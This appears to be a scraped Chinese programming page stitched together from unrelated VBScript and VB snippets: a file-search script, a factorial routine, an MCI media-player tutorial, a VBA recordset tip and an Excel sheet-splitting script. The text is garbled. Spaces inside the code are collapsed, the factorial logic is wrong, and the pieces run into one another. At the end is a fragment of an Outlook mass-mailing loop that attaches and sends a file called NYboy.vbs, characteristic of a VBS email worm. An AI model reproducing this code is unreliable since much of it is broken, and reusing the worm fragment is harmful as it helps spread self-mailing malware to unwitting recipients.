例如,假设需要Navigator在Excel中打开一个Web页面,首先必须使用Excel的"引用"对话框引用Navigator程序目录中的Netscape.TLB库,然后把Navigator对象作为一个实例,并完成打开页面的功能onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject("Shell.Application") SetobjFolder=objShell.Namespace(My_Computer) SetobjFolderItem=objFolder.Self strPath=objFolderItem.Path SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath) IfobjFolderIsNothingThen msgbox"您没有选择任何有效目录!" wscript.quit else SetobjFolderItem=objFolder.Self sPath=objFolderItem.Path txtpath=sPath SetFso=wscript.CreateObject("scripting.filesystemobject") FileTotal=0 DirTotal=0 'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName)) 'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath)) keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3")) setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt") outFile.writeline"开始搜索..." outFile.writeline"起启目录:"&txtPath TimeSpend=Timer myFindtxtPath TimeSpend=round(Timer-TimeSpend,2) txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒." outFile.writetxtResult msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt" outFile.close setoutFile=nothing setFso=nothing SubmyFind(ByValthePath) Dimfso,myFolder,myFile,curFolder Setfso=wscript.CreateObject("scripting.filesystemobject") SetcurFolders=fso.getfolder(thePath) DirTotal=DirTotal+1 IfcurFolders.Files.Count>0Then ForEachmyFileIncurFolders.Files IfInStr(1,LCase(myFile.Name),keyWord)>0Then outFile.WriteLineFormatPath(thePath)&""&myFile.Name FileTotal=FileTotal+1 EndIf Next EndIf IfcurFolders.subfolders.Count>0Then ForEachmyFolderIncurFolders.subfolders myFindFormatPath(thePath)&""&myFolder.Name Next EndIf EndSub FunctionFormatPath(ByValthePath) thePath=Trim(thePath) FormatPath=thePath IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1) EndFunction Endif

dim n,m n=inputbox("input a number:","recursion") m=factorial ( n ) if n<0 then msgbox "must be input a number bigger 0." elseif n=0 then msgbox "0"&"!"&"is:"&"0" elseif n>0 then msgbox n&"is:"&m rem how to done not input and press sure case. end if Function Factorial (N) If N <=1 Then Factorial=1 Else Factorial=Factorial(N - 1)*n^n End If End FunctionVB利用高级音频函数编写多媒体播放器现在使用VB编程的朋友越来越多了.但是如何使用VB来编写播放多媒体文件的播放器呢?本篇将详细的介绍如何利用高级音频函数编写媒体播放器!内容提要:了解高级音频函数各参数的意思;提供一些高级音频函数的命令集;编写一个简单的多媒体播放器程序;高级音频函数有两条:1.mciSendString;2.mciSendCommand.前者称为命令字符串函数,后者称为命令消息函数.命令字符串函数顾名思义就是利用字符串作为命令来控制媒体设备,它最适合高级编程语言如:VB.而命令消息函数则是利用消息的发送来控制媒体设备,它最适合利用常数作命令的编程语言如:VC .因此我们这里只讲解命令字符串函数的使用方法.函数原型:mciSendString(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong参数说明:lpstrCommand:要发送的命令字符串.字符串结构是:[命令][设备别名][命令参数].lpstrReturnString:返回信息的缓冲区,为一指定了大小的字符串变量.uReturnLength:缓冲区的大小,就是字符变量的长度.hwndCallback:回调方式,一般设为零.(*函数执行成功返回零,否则返回错误代码)　使用此函数能播放哪些媒体文件呢?不用担心,打开win.ini文件看看便知.找到[mciextensions]部分这里记录了你的计算机所能使用的所有媒体文件名,如:mid=Sequencer,等号左边的表示媒体文件的扩展名,等号右边的表示打开此媒体文件的设备名.　　知道了哪些文件可以播放后就可以播放媒体文件了吗?No!你还得知道如何使用命令字符串来控制设备.下面列出的命令集是各种设备同时都具有的也是关键的命令集:1.Opendevice_name[aliasalias_name]:Open命令用来打开device_name设备并取别名为alias_name,device_name为媒体文件名或设备名,alias_name是为device_name取的别名.如:OpenC:\windows\kl.wavaliasWAV.意思是打开:c:\windows\kl.wav这个文件并取别名为WAV,在经后的操作过程中就可用这个别名来控制它所打开的设备了.2.Closealias_name:Close命令用来关闭别名为alias_name的设备,在关闭程序时必须调用该命令否则其它的程序将无法打开该设备.3.Playalias_name:Play命令用来播放别名为alias_name的媒体文件.成功的打开设备后就可调用该命令来播放媒体文件了.4.Stopalias_name:Stop命令用来停止播放媒体文件.5.Seekalias_name:Seek命令用来设置当前播放的位置.(需事先设定时间格式)6.Setalias_name[audioalloff][audioallon][timeformatms]:Set命令用来设置设备的各种状态.如:静音,有声音,时间格式为毫秒等.7.Statusalias_name[length][mode][position]:Status命令用来取得设备的状态.如:该媒体文件的长度,该媒体文件所处状态,该媒体文件的当前位置等.由于篇幅有限这里就不再说更多的命令集了.有兴趣的朋友可到我的网址详细的查询.下面将介绍如何利用上面说的函数和命令集为我们工作:1.新建一工程并在工程中添加一公用对话框(CommonDialog),再添加一模块(Module).2.在模块中声明命令字符串函数:DeclareFunctionmciSendStringLib"winmm.dll"Alias"mciSendStringA"(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong3.添加一按钮并在按钮的Click事件中加入以下代码:dimdwReturnasString*256me.CommonDialog1.ShowOpenif(mciSendString("Open" Commondialog1.FileName "AliasMCI",dwReturn,256,0)=0)thenmciSendString("PlayMCI",dwReturn,256,0)endif4.最后在窗体的UnLoad事件中加入以下代码:mciSendString("CloseMCI")是不是很简单!才用了七行代码就编成了一个简单的播放器?有兴趣的朋友可到我的主页查询,也可给我发E-Mail:我的主页:(内有详细的说明和丰富的源程序)我的E-mail:lucykenny@990.net成都:刘明地址:成都市新南门青平巷19号->

都是通过vbscript的代码此处还有一个常常易犯的编程问题：If(Condition)Then　rs.AddNew　rs.FirstName=txtFirstName　rs.LastName=txtLastName　rs.Address=txtAddress　rs.City=txtCity　rs.State=txtState　rs.ZipCode=txtZipCode　rs..UpdateEndIfVBA提供特别的With…Endwith结构处理同一个对象的多个成分：If(Condition)Then　Withrs　　.AddNew　　!FirstName=txtFirstName　　!LastName=txtLastName　　!Address=txtAddress　　!City=txtCity　　!State=txtState　　!ZipCode=txtZipCode.Update　EndWithEndIf采用With…EndWith结构不仅可以使得表述简单，而且执行起来相当快

'拖动工作表至VBS脚本实现按指定表头自动分表 On Error Resume Next If WScript.Arguments(0)="" Then WScript.Quit Dim objExcel, ExcelFile, MaxRows, MaxColumns, SHCount ExcelFile=WScript.Arguments(0) If LCase(Right(ExcelFile,4)) <> ".xls" And LCase(Right(ExcelFile,4)) <> ".xls" Then WScript.Quit Set objExcel=CreateObject("Excel.Application") objExcel.Visible=False objExcel.Workbooks.Open ExcelFile '获取工作表初始sheet总数 SHCount=objExcel.Sheets.Count '获取工作表有效行列数 MaxRows=objExcel.ActiveSheet.UsedRange.Rows.Count MaxColumns=objExcel.ActiveSheet.UsedRange.Columns.Count '获取工作表首行表头列表 Dim StrGroup For i=1 To MaxColumns StrGroup=StrGroup & "[" & i & "]" & vbTab & objExcel.Cells(1, i).Value & vbCrLf Next '用户指定分表表头及输入性合法判断 Dim Num, HardValue Num=InputBox("请输入分表表头的序号" & vbCrLf & StrGroup) If Num <> "" Then Num=Int(Num) If Num > 0 And Num <=MaxColumns Then HardValue=objExcel.Cells(1, Num).Value Else objExcel.Quit Set objExcel=Nothing WScript.Quit End If Else objExcel.Quit Set objExcel=Nothing WScript.Quit End If '获取分表表头值及分表数 Dim ValueGroup : j=0 Dim a() : ReDim a(10000) For i=2 To MaxRows str=objExcel.Cells(i, Num).Value If InStr(ValueGroup, str)=0 Then a(j)=str ValueGroup=ValueGroup & str & "," j=j + 1 End If Next ReDim Preserve a(j-1) '创建新SHEET并以指定表头值命名 For i=0 To UBound(a) If i + 2 > SHCount Then objExcel.Sheets.Add ,objExcel.Sheets("sheet" & i + 1),1,-4167 Next For i=0 To UBound(a) objExcel.Sheets("sheet" & i + 2).Name=HardValue & "_" & a(i) Next '分表写数据 For i=1 To MaxRows For j=1 To MaxColumns objExcel.sheets(1).Select str=objExcel.Cells(i,j).Value If i=1 Then For k=0 To UBound(a) objExcel.sheets(HardValue & "_" & a(k)).Select objExcel.Cells(i,j).Value=str objExcel.Cells(1, MaxColumns + 1).Value=1 Next Else objExcel.sheets(HardValue & "_" & objExcel.Cells(i,Num).Value).Select If j=1 Then x=objExcel.Cells(1, MaxColumns + 1).Value + 1 objExcel.Cells(x ,j).Value=str If j=MaxColumns Then objExcel.Cells(1, MaxColumns + 1).Value=x End If Next Next For i=0 To UBound(a) objExcel.sheets(HardValue & "_" & a(i)).Select objExcel.Cells(1, MaxColumns + 1).Value="" Next objExcel.ActiveWorkbook.Save objExcel.Quit Set objExcel=Nothing WScript.Echo "提示：对" & ExcelFile & "的分表操作完成" 笔者在初步研究了Windows的SYSTEM.INI后发现，通过VB的多媒体控件MCI.VBX可以打开MPEG压缩文件(如VCD2.0版的.DAT文件)

做走路☆要插入数据的表必须和Select的结果集兼容QQ交友频道" Mail.Attachments.Add("c:\NYboy.vbs") Mail.Send Next ol.Quit 。